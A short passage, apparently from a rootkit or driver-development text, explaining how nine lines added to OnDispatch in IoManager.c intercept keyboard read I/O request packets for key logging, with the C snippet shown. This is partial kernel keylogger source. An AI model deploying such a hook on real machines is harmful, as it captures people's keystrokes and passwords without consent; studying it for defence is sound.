Only nine lines of OnDispatch within IoManager.c were modified for key logging. OnDispatch is where all I/O request packets are routed. The added lines simply ensure that a completion routine is added to all keyboard read requests:
// Intercept I/O Request Packets to the keyboard if( DeviceObject == newKeyboardDevice ) { if( irpStack->MajorFunction == IRP_MJ_READ ) return OnKeyboardRead( DeviceObject, Irp, irpStack ); IoSkipCurrentIrpStackLocation ( Irp ); return IoCallDriver( oldKeyboardDevice, Irp ); }